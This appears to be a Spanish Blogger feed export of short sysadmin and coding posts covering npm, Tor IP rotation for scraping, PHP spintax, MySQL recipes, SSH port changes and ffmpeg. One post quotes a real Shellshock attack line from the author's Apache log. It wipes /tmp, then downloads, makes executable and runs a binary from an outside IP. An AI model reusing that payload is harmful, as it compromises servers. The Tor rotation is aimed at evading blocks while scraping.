<pre class="lang-js prettyprint prettyprinted" style="background-color: #eff0f1; border: 0px; font-family: Consolas, Menlo, Monaco, "Lucida Console", "Liberation Mono", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Courier New", monospace, sans-serif; font-size: 13px; font-stretch: inherit; font-variant-numeric: inherit; line-height: inherit; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto; word-wrap: normal;"><code style="border: 0px; font-family: Consolas, Menlo, Monaco, "Lucida Console", "Liberation Mono", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Courier New", monospace, sans-serif; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: inherit;"><span class="pln" style="border: 0px; color: #303336; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">npm cache clean </span><span class="pun" style="border: 0px; color: #303336; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">-</span><span class="pln" style="border: 0px; color: #303336; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">f
npm install </span><span class="pun" style="border: 0px; color: #303336; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">-</span><span class="pln" style="border: 0px; color: #303336; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">g n
npm stable
ln </span><span class="pun" style="border: 0px; color: #303336; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">-</span><span class="pln" style="border: 0px; color: #303336; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">sf </span><span class="pun" style="border: 0px; color: #303336; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">/</span><span class="pln" style="border: 0px; color: #303336; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">usr</span><span class="pun" style="border: 0px; color: #303336; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">/</span><span class="pln" style="border: 0px; color: #303336; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">local</span><span class="pun" style="border: 0px; color: #303336; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">/</span><span class="pln" style="border: 0px; color: #303336; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">n</span><span class="pun" style="border: 0px; color: #303336; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">/</span><span class="pln" style="border: 0px; color: #303336; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">versions</span><span class="pun" style="border: 0px; color: #303336; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">/</span><span class="pln" style="border: 0px; color: #303336; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">node</span><span class="pun" style="border: 0px; color: #303336; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">/</span><span class="pun" style="border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><span style="color: #7d2727;">9.2.0</span></span><span class="pun" style="border: 0px; color: #303336; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">/</span><span class="pln" style="border: 0px; color: #303336; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">bin</span><span class="pun" style="border: 0px; color: #303336; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">/</span><span class="pln" style="border: 0px; color: #303336; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">node </span><span class="pun" style="border: 0px; color: #303336; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">/</span><span class="pln" style="border: 0px; color: #303336; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">usr</span><span class="pun" style="border: 0px; color: #303336; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">/</span><span class="pln" style="border: 0px; color: #303336; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">bin</span><span class="pun" style="border: 0px; color: #303336; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">/</span><span class="pln" style="border: 0px; color: #303336; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">node
node </span><span class="pun" style="border: 0px; color: #303336; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">–</span><span class="pln" style="border: 0px; color: #303336; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">v </span><span class="pln" style="border: 0px; color: #303336; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
npm rebuild node</span><span class="pun" style="border: 0px; color: #303336; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">-</span><span class="pln" style="border: 0px; color: #303336; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">sass </span></code></pre>
Ahora si que puedo hacer el punto 4 pero me sale que mi versión de npm es la 5 y que debo usar una anterior:<br />
<br />
<blockquote>
***********************************************************************<br />
ERROR: npm 5 is not supported yet<br />
***********************************************************************<br />
It looks like you're using npm 5 which was recently released.<br />
Create React Native App doesn't work with npm 5 yet, unfortunately. We<br />
recommend using npm 4 or yarn until some bugs are resolved.<br />
You can follow the known issues with npm 5 at:<br />
https://github.com/npm/npm/issues/16991<br />
***********************************************************************</blockquote>
<br />
Usando<br />
<br />
<span style="background-color: rgba(27 , 31 , 35 , 0.05); color: #24292e; font-family: , "consolas" , "liberation mono" , "menlo" , "courier" , monospace; font-size: 11.9px;">npm install -g npm@4.6.1</span><br />
<br />
Hago el downgrade de npm y voila: ¡Ya funciona!<br />
<br />
<blockquote class="tr_bq">
cd CurrencyConverter<br /> npm start</blockquote>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-28529943.post-52527905976056587632016-12-31T12:13:00.004+01:002016-12-31T13:48:43.458+01:00Cambiar la IP de TOR para pythonResulta muy útil en actividades de scraping poder cambiar la ip de tus bots de vez en cuando
1. Instalar tor
<blockquote>
apt-get update
apt-get install tor
/etc/init.d/tor restart</blockquote>
Ahora debes generar una contraseña para tor
<blockquote>tor --hash-password micontrasenya</blockquote>
Te saldrá un hash de la contraseña. Debes copiar el hash y luego pegarlo en el archivo <b>/etc/tor/torrc</b>
Debes descomentar estas dos líneas
<blockquote>ControlPort 9051
HashedControlPassword 16:872860B76453A77D60CA2BB8C1A7042072093276A3D701AD684053EC4C</blockquote>
Una vez hecho esto debes reiniciar tor:
<blockquote>
/etc/init.d/tor restart</blockquote>
Ahora instalaremnos Privoxy:
<blockquote>apt-get install privoxy</blockquote>
Ahora hay que añadir esta línea al final del archivo de configuración de Privoxy <b>/etc/privoxy/config</b>:
<blockquote>forward-socks5 / localhost:9050 .</blockquote>
No hay que olvidarse del punto. .Es importante
Reiniciamos Privoxy:
<blockquote>/etc/init.d/privoxy restart</blockquote>
Y aquí está el script para ver si funciona:
<pre><code>
import time
import socket
import socks
import urllib2
from stem import Signal
from stem.control import Controller
controller = Controller.from_port(port=9051)
controller.authenticate(password='micontrasenya')
def connectTor():
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 , "127.0.0.1", 9050, True)
socket.socket = socks.socksocket
def renew_tor():
controller.signal(Signal.NEWNYM)
time.sleep(controller.get_newnym_wait())
def showmyip():
new_ip= urllib2.urlopen("http://icanhazip.com/").read()
print(new_ip)
for i in range(3):
renew_tor()
connectTor()
showmyip()
</code></pre>
En los test realizados TOR tardaba entre 10 y 15 segundos en cambiar la IP.
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-28529943.post-18055587127076253182016-09-30T09:50:00.001+02:002016-09-30T09:50:39.708+02:00Spintax, un formato para reescribir artículos <h2>¿Qué es Spintax?</h2>
<p>El término spintax es una contracción de spinning + syntax.</p>
<p>Spintax es el formato o sintaxis que se utiliza por varios creadores de software vinculados a la creación de contenidos automatizados y sitios web que crean o utilizan artículos para generar otros distintos distintos a partir de los originales.</p>
Lo que esto significa es que se pueden crear varias versiones de texto teniendo como origen una sola cadena de texto.
<p>Esto se hace mediante la devolución al azar de uno de los elementos de texto de entre las tuberías en una cadena Spintax. Esto es lo que un simple cadena Spintax parece:</p>
<blockquote>{Casa|Hogar|Piso|Chalet}</blockquote>
<p>Por ejemplo, si el código spintax {Casa|Hogar|Piso|Chalet} se genera a través de nuestra Clase PHP Spintax, devolvería al azar uno de estas palabras Casa,Hogar, Piso o Chalet.</p>
<p>Como se puede ver que esto puede ser muy útil para crear varias versiones de texto de una sola cadena de texto.</p>
<p>Si en el texto tenemos muchas cadenas spintax el resultado final es bastante diferente al original. Para ello se necesita tener una fuente grande de sinónimos.</p>
Esta es la mejor clase que he encontrado para spinnear texto:
PHP Spintax Class
<code><?PHP
/**<br>
* Spintax - A helper class to process Spintax strings.<br>
* @name Spintax<br>
* @author Jason Davis - http://www.codedevelopr.com/<br>
*/<br>
class Spintax<br>
{<br>
public function process($text)<br>
{<br>
return preg_replace_callback(<br>
'/\{(((?>[^\{\}]+)|(?R))*)\}/x',<br>
array($this, 'replace'),<br>
$text<br>
);<br>
}<br><br>
public function replace($text)<br>
{<br>
$text = $this->process($text[1]);<br>
$parts = explode('|', $text);<br>
return $parts[array_rand($parts)];<br>
}<br>
}<br>
?></code>
<h2>Ejemplo de uso de la clase de spintax en php:</h2>
<code><?PHP<br>
$spintax = new Spintax();<br>
$string = '{Hello|Howdy|Hola} to you, {Mr.|Mrs.|Ms.} {Smith|Williams|Davis}!';<br>
echo $spintax->process($string);<br>
?></code>
<p>El proceso es sencillo como veís incluso se puede transformar una base de dsatos con todos loos contenidos de una web y crear otra spinneada. La imaginación aquí cuenta mucho. Si además introduces nuevos elementos como videos, gráficos, etc la posibilidad de elementos comunes disminuye. Siempre viene bien realizar una revisión manual para volver a escribir los textos que hayan sido creados de forma muy marciana. Siempre hay textos que salen mal escritos con este tipo de fórmulas de reescritura de textos.</p>
<p>
Fuente original <a href="https://gist.github.com/irazasyed/11256369">https://gist.github.com/irazasyed/11256369</a></p>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-28529943.post-64582768468053731182016-07-15T09:02:00.004+02:002016-07-15T09:25:03.259+02:00Instalar Yii2 sobre Windows<div class="tr_bq">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-HcmkxQU7Bcw/Vm9_MfuqRaI/AAAAAAAAF-8/hkl0CQl0n3k/w426-h237/install-yii2-using-composer.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="136" src="https://2.bp.blogspot.com/-HcmkxQU7Bcw/Vm9_MfuqRaI/AAAAAAAAF-8/hkl0CQl0n3k/w426-h237/install-yii2-using-composer.jpg" width="320" /></a></div>
<br />
<br />
Siguiendo las intrucciones oficiales y de tutoriales en varias ocasiones he llegado a puntos con errores poco claros.</div>
Mi instalación en windows 8 la he realizado en el entorno de Xampp donde según la documentación oficial indica:<br />
<blockquote class="tr_bq">
composer global require "fxp/composer-asset-plugin:^1.2.0"<br />
composer create-project --prefer-dist yiisoft/yii2-app-basic basic</blockquote>
He tenido que hacer las siguientes modificaciones:<br />
<br />
<blockquote>
php c:\xampp\php\composer.phar global require "fxp/composer-asset-plugin:^1.2.0"</blockquote>
<br />
<blockquote>
php c:\xampp\php\composer.phar create-project --prefer-dist yiisoft/yii2-app-advanced </blockquote>
<br />
Si no, me salía que no ejecutaba composer adecuadamente y me salía por consola la lista de comandos posibles de composer.<br />
<br />
Supongo que debo tener composer mal configurado. Lo hice hace tiempo para otro proyecto y no recuerdo como fue.Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-28529943.post-81595143691581521732016-04-18T08:24:00.001+02:002016-04-18T08:26:26.107+02:00Tablas con div, evitar el doble borde en celdasCuando tienes que mostrar datos tabulados lo normal es elegir maquetarlas con tablas pero éstas no se comportan bien en dispositivos móviles de pantalla pequeña. hay diversas soluciones pero ninguna me convence cuando se trata de pantallas de 320 píxeles.
<br />
Me puse manos a la obra a hacer la tabla con divs y al principio me salía un borde dos veces pero eso con css lo pude solucionar.
<br />
<br />
<br />
<br />
<br />
<xmp><div class="table">
<div class="rowtable">
<div class="cell">Date</div>
<div class="cell">Sun, 21 Feb 2016 08:25:29 GMT</div>
<div class="cell">data</div>
</div>
<div class="rowtable">
<div class="cell">Date</div>
<div class="cell">Sun, 21 Feb 2016 08:25:29 GMT</div>
<div class="cell">data</div>
</div>
<div class="rowtable">
<div class="cell">Date</div>
<div class="cell">Sun, 21 Feb 2016 08:25:29 GMT</div>
<div class="cell">data</div>
</div>
</div></xmp>
Este sería el css, incluido el responsive que evita el doble borde en algunas celdas de la tabla:
<xmp>
/* Tables */
.table { display: table; }
.rowtable { display: table-row; }
.rowtable:nth-child(odd){
background: #f9f9f9;
}
.cell:nth-child(odd){
width:25%;
}
.cell{
border: 1px solid #ddd;
border-left: none;
border-bottom:none;
padding: 8px;
vertical-align: top;
display: table-cell;
}
.cell:first-child {
border-left: 1px solid #ddd;
}
.rowtable:last-child .cell{
border-bottom: 1px solid #ddd;
}
/* End Tables */
/* Media Queries */
@media screen and (max-width: 480px) {
.cell{
width:100%;
display:inline-block;
border-left: 1px solid #ddd;
}
.cell:nth-child(odd){
width:100%;
}
}
}
/* End Media Queries */
</xmp>
Lo he comprobado con dos y tres columnas y no he visto ningún problema.Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-28529943.post-34211345401487448492016-03-15T10:00:00.000+01:002016-03-15T10:00:08.525+01:00Chequear coincidencias en las lineas de dos archivos de textoTenía el siguiente problema:<br />
<br />
Dos archivos de texto cada uno con entre 7 y 9 millones de registros de datos y no sabía si parte de los registros de A estaban en B. Quería saber los registros que estaban en A y no estaban en B para sumarlos a B.<br />
<br />
Comprobarlo en mysql me resultaba imposible por lo que tardaba.<br />
<br />
Probé desde la consola de linux:<br />
<br />
<b>grep -Fvf archivo1.txt archivo2.txt>/home/usuario/noestan.txt </b><br />
<b><br /></b>
y se quedaba sin memoria.<br />
<br />
Probé este archivo de linux haciendo que el archivo1 tuviera sólo 1000 líneas y así pronosticar cuanto tardaría con los 7 millones de líneas:<br />
<br />
<blockquote class="tr_bq">
<br />
file1=open("C:\\Users\\carlos\\Documents\\de\\archivo1.txt","r")<br />
file2=open("C:\\Users\\carlos\\Documents\\de\\archivo2.txt","r")<br />
file3=open("C:\\Users\\carlos\\Documents\\de\\noestan.txt","w")<br />
lines1=file1.readlines()<br />
lines2=file2.readlines()<br />
encontrado=0<br />
for line1 in lines1:<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>for line2 in lines2:<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>if line1==line2:<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>encontrado2=1<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>if encontrado2==0:<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>print(line1)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>file3.write(line1)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>encontrado2=0<br />
# Cerrar archivos abiertos<br />
file1.close()<br />
file2.close()<br />
file3.close()</blockquote>
El resultado fue que tardaría más de 400 días...<br />
<br />
Así que probé con sets:<br />
<br />
<blockquote class="tr_bq">
<blockquote class="tr_bq">
import time</blockquote>
<blockquote class="tr_bq">
start = time.time()</blockquote>
<blockquote class="tr_bq">
file1=open("C:\\Users\\carlos\\Documents\\de\\archivo1.txt","r")</blockquote>
<blockquote class="tr_bq">
file2=open("C:\\Users\\carlos\\Documents\\de\\archivo2.txt","r")</blockquote>
<blockquote class="tr_bq">
file3=open("C:\\Users\\carlos\\Documents\\de\\noestan.txt","w")</blockquote>
<blockquote class="tr_bq">
data2 = set(file2.read().splitlines())</blockquote>
<blockquote class="tr_bq">
data1 = set(file1.read().splitlines())</blockquote>
<blockquote class="tr_bq">
for list in data1:</blockquote>
<blockquote class="tr_bq">
<span class="Apple-tab-span" style="white-space: pre;"> </span>if list not in data2:</blockquote>
<blockquote class="tr_bq">
<span class="Apple-tab-span" style="white-space: pre;"> </span>file3.write(list)</blockquote>
<blockquote class="tr_bq">
<span class="Apple-tab-span" style="white-space: pre;"> </span>file3.write('\n')</blockquote>
<blockquote class="tr_bq">
# Close opend file</blockquote>
<blockquote class="tr_bq">
file1.close()</blockquote>
<blockquote class="tr_bq">
file2.close()</blockquote>
<blockquote class="tr_bq">
file3.close()</blockquote>
<blockquote class="tr_bq">
end = time.time()</blockquote>
<blockquote class="tr_bq">
print(end - start)</blockquote>
</blockquote>
<br />
<br />
Y el resultado fue que tardó 12 segundos. Lo peor fue que todos los registros de A estaban en B por lo que me servirá para otra vez pero no para esta. Metí algún resultado falso en A para ver que realmente funcionaba y si.<br />
<br />
<br />
<br />Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-28529943.post-21957123619280884292016-02-22T09:44:00.000+01:002016-02-22T09:44:10.384+01:00Recetas para MysqlEstas son algunas recetas para el mantenimiento de bases de datos que utilizo. Igual solo lo utilizo dos veces al año.. por eso nunca recuerdo a la perfección el sql necesario. No es algo que haga todos los días.<br />
<br />
<br />
Exportar en formato csv directamente desde mysql:<br />
<br />
<blockquote class="tr_bq">
<pre lang="sql" style="background-color: white; line-height: 25.6px; margin-bottom: 1.5em; padding: 0px;">SELECT id, name, email INTO OUTFILE '/tmp/result.csv'
FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '"'
ESCAPED BY ‘\\’
LINES TERMINATED BY '\n'
FROM users WHERE 1</pre>
</blockquote>
<br />
Importar sql comprimido con gunzip a Mysql:<br />
<br />
<blockquote class="tr_bq">
zcat /home/usuario/database-backup/data.sql.gz | mysql -u usuario -p nombre_base_de_datos</blockquote>
<br />
<br />
Exportar base de datos<br />
<br />
<blockquote class="tr_bq">
mysqldump --opt -u usuario -p nombre_BD> /ruta/documentos/archivo.sql </blockquote>
<br />
Importar csv a una tabla:<br />
<br />
<blockquote class="tr_bq">
LOAD DATA LOCAL INFILE 'abc.csv' INTO TABLE abc<br />FIELDS TERMINATED BY ';'<br />ENCLOSED BY '"'<br />LINES TERMINATED BY '\n';</blockquote>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-28529943.post-24444709861752165052015-11-12T09:43:00.001+01:002015-11-12T09:52:38.310+01:00Failed to connect to FTP Server localhost:21<div class="separator" style="clear: both; text-align: center;">
<img alt="wordpress" border="0" src="http://www.netpublic.fr/wp-content/uploads/2014/04/wordpress.jpg" /></div>
A veces por querer tener un hosting en un sitio distinto al habitual pasa que los chicos del hosting no han hecho los deberes pertinentes o es posible que no sepan hacerlos.<br />
<br />
El caso es que tenemos un blog en un país paraíso fiscal al que no se puede actualizar ni siquiera los plugins ya que el usuario de instalación no tiene permisos. Para actualizar wordpress solía subir por ftp los archivos.
Hay una solución mejor. Consiste en definir varias cosas en el archivo de configuración de wordpress wp-config.php:
<br />
<blockquote>
define('FS_METHOD', 'ftpext');</blockquote>
<br />
<blockquote>
define('FTP_BASE', 'ruta');</blockquote>
<br />
<blockquote>
define('FTP_USER', 'usuario');</blockquote>
<br />
<blockquote>
define('FTP_PASS', 'contraseña');
</blockquote>
<br />
<blockquote>
//define('FTP_HOST', 'localhost');</blockquote>
<br />
<blockquote>
define('FTP_HOST', 'ip_del_servidor:21');
</blockquote>
<br />
<blockquote>
define('FTP_SSL', false);
</blockquote>
<br />
<blockquote>
define('WP_MEMORY_LIMIT', '128M');</blockquote>
Básicamente el truco consiste en poner la ip del servidor donde está alojado, dos puntos y el puerto de conexión. Normalmente el 21.
A nosotros nos ha funcionado y se actualizan los plugins de una forma normal.Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-28529943.post-73671212927501568382015-06-02T20:59:00.000+02:002015-06-02T20:59:00.071+02:00Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)")Con este error me encuentro cuando hago un reboot.<br />
<br />
Al parecer esta orden no cierra adecuadamente los progrmas en uso y por eso luego Mysql falla.<br />
<br />
Si cuando vas a reiniciar el servicio con<br />
<br />
<b>sudo /etc/init.d/mysql restart</b><br />
<br />
Ves que falla<br />
<br />
<b>tail -200 /var/log/mysql/error.log</b><br />
<br />
Debes analizar los errores que te salen y ver que sucede.<br />
<br />
En mi último caso es que había cambiadao los permisos de la carpeta /tmp y no podía escribir allí un fichero temporal.<br />
<br />
<br />Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-28529943.post-49677155779918190932015-05-12T08:57:00.000+02:002015-05-12T08:57:00.096+02:00Cambiar el puerto ssh de tu VPS o servidorSi analizas las entradas a tu servidor verás que hay miles de peticiones al día con el único propósito de entrar clandestinamente en tu equipo.<br />
<br />
Normalmente para acceder a tu servidor se utiliza el puerto por eso si tecleas<br />
<br />
<b>netstat -lnptu</b><br />
<br />
<br />
verás que se está escuchando en ese puerto 22<br />
<br />
Una forma adicional de mejorar la seguridad de nuestro servidor o VPS coniste en modificar este puerto hacia otro que no esté ya siendo utilizado. De esa forma te evitas miles de intentos de entrar.<br />
<br />
Lom que debes hacer es cambiar ese puerto y reiniciar posteriormente els ervicio de ssh. Veamos los pasos<br />
<br />
<br />
<code>vi /etc/ssh/sshd_config</code><br />
<br />
<code>o </code><br />
<br />
<code><code>nano /etc/ssh/sshd_config</code> </code><br />
<br />
<code>una vez allí verásalgo como esto:</code><br />
<br />
<code><code># What ports, IPs and protocols we listen for<br />
Port 22</code> </code><br />
<code> </code> <br />
<br />
<br />
<br />
Donde pone 22 deberás poner otro número. Lo normal sería poner un número entre el 49152 y el 65535 que son puertos disponibles. Como te he indicado antes mira primero que puertos están siendo ocupados.<br />
<br />
Guardas el archivo y entonces reinicias el ssh:<br />
<br />
A mi me funciona este:<br />
<br />
<b>service ssh restart</b><br />
<br />
Pero en otros equipos os puede funcionar este otro:<br />
<br />
<code>/etc/init.d/ssh restart</code><br />
<br />
<code><code>service sshd restart</code></code><br />
<br />
<br />
<code><code>Con esto ya tenéis todo cambiado</code></code><br />
<br />
<code><code>Se comprueba con el comando </code></code><b>netstat -lnptu que está todo bien.</b><br />
<br />
Entonces y sólo entonces puedes salir de la consola. Por si acaso abre otra consola y trata de entrar con la n<b>ueva configuración:</b><br />
<br />
<b>ssh root@ip -p puerto</b><br />
<br />
Ahora deberás añadir el puerto siempre que te conectes<br />
<br />
Ni que decir tiene que si tienes aplicaciones que utilizan ssh como scp o rsync también lo deberás añadir.<br />
<br />
Ya tienes tu servidor un poco más seguro. También estaría bien que el usuario root no pudiera ser accesible vía ssh. <br />
<br />
<b> </b><br /><br />
<br />
<code></code>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-28529943.post-54990157468269436762015-04-29T12:57:00.000+02:002015-04-29T12:57:00.763+02:00Convertir los videos de una carpeta a mp3 Bandcamp
Pues nada, me bajé las canciones del grupo Rajoy Division de bandcamp.com y venían en formato mpeg. Así que para no tener problemas en algunos reproductores lo he convertido a mp3 de una tirada todos los elementos de video de una carpeta:
<blockquote>
for i in *.mpeg;<br>
do name=`echo $i | cut -d'.' -f1`;<br>
echo $name;<br>
ffmpeg -i $i $name.mp3;<br>
done</blockquote>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-28529943.post-70122751743458293562015-04-13T16:14:00.001+02:002015-04-13T16:14:02.860+02:00Logs de apacheLa peña no para de querer apropiarse de cosas que no son suyas. Por eso esta entrada que he visto en log e acceso a apache situado en /var/log/apache2:<br />
<br />
[12/Apr/2015:12:25:47 +0000] "GET / HTTP/1.1" 200 630 "() { :;<br /> };<br /> /bin/bash -c \"rm -rf /tmp/*;<br />echo wget http://61.160.212.172:911/java -O /tmp/China.Z-ukfl >> /tmp/Run.sh;<br />echo echo By China.Z >> /tmp/Run.sh;<br />echo chmod 777 /tmp/China.Z-ukfl >> /tmp/Run.sh;<br />echo /tmp/China.Z-ukfl >> /tmp/Run.sh;<br />echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;<br />chmod 777 /tmp/Run.sh;<br />/tmp/Run.sh\"" "() { :;<br /> };<br /> /bin/bash -c \"rm -rf /tmp/*;<br />echo wget http://61.160.212.172:911/java -O /tmp/China.Z-ukfl >> /tmp/Run.sh;<br />echo echo By China.Z >> /tmp/Run.sh;<br />echo chmod 777 /tmp/China.Z-ukfl >> /tmp/Run.sh;<br />echo /tmp/China.Z-ukfl >> /tmp/Run.sh;<br />echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;<br />chmod 777 /tmp/Run.sh;<br />/tmp/Run.sh\""<br />
<br />
Se bajan un programita lo corren y vete a saber lo que te dejan en el servidor. Parece que buscan una vulnerabilidad de bash de septiembre 2014....conocida como shellshock. mi servidor es más moderno así que no debería tener problemas.<br />
<br />
<br />Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-28529943.post-9572239954738619022015-03-10T17:10:00.000+01:002015-03-10T17:10:00.141+01:00Crear archivo nuevo con las x primeras líneas de otroTenía un problema para leer un archivo de varios gigabytes de tamaño y sólo quería leer las primeras líneas así que lo pude solucionar con este programa escrito en <b>python</b>.<br />
<br />
Abre los dos ficheros y va leyendo del fichero uno y escribe las 1000 primeras líneas en el fichero 2.<br />
Obviamente se puede cambiar ese número por el que sea y adaptar el condicional a vuestro gusto.<br />
<br />
<pre><code>
fp = open("mysqldump.sql")
f1 = open('1000.txt', 'a')
for i, line in enumerate(fp):
if i < 1000:
f1.write(line)
elif i == 1000:
f1.write(line)
elif i > 1000:
break
f1.close()
fp.close()</code></pre>
<pre><code> </code></pre>
Supongo que habrá algo sencillo para hacer desde bash pero no lo supe solucionar de esa forma.
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-28529943.post-18214686550045147882015-02-03T08:32:00.000+01:002015-02-14T13:01:06.573+01:00Copiar tabla mysqlRecientemente tengo que hacer una nueva tabla para convertir una tabla utf8mb4 a utf8 debido a que instalarla en un servidor antiguo que no soporta utf8mb4, el formato que soporta unicode de forma completa.<br />
<br />
Lo primero que hemos hecho ha sido copiar la tabla. Primero se crea la nueva tabla y después se llena<br />
<br />
<br />
<pre>CREATE TABLE nueva_table LIKE vieja_tabla;
INSERT nueva_tabla SELECT * FROM vieja_tabla;
</pre>
<br />
En nuestro caso la tabla contenía varios millones de registros por lo que este proceso tardó 4 minutos.<br />
<br />
Es un proceso bastante rápido si no hay casi datos.<br />
<br />
Luego me tocó<br />
ejecutar los comandos de alteración del cotejamiento:<br />
<br />
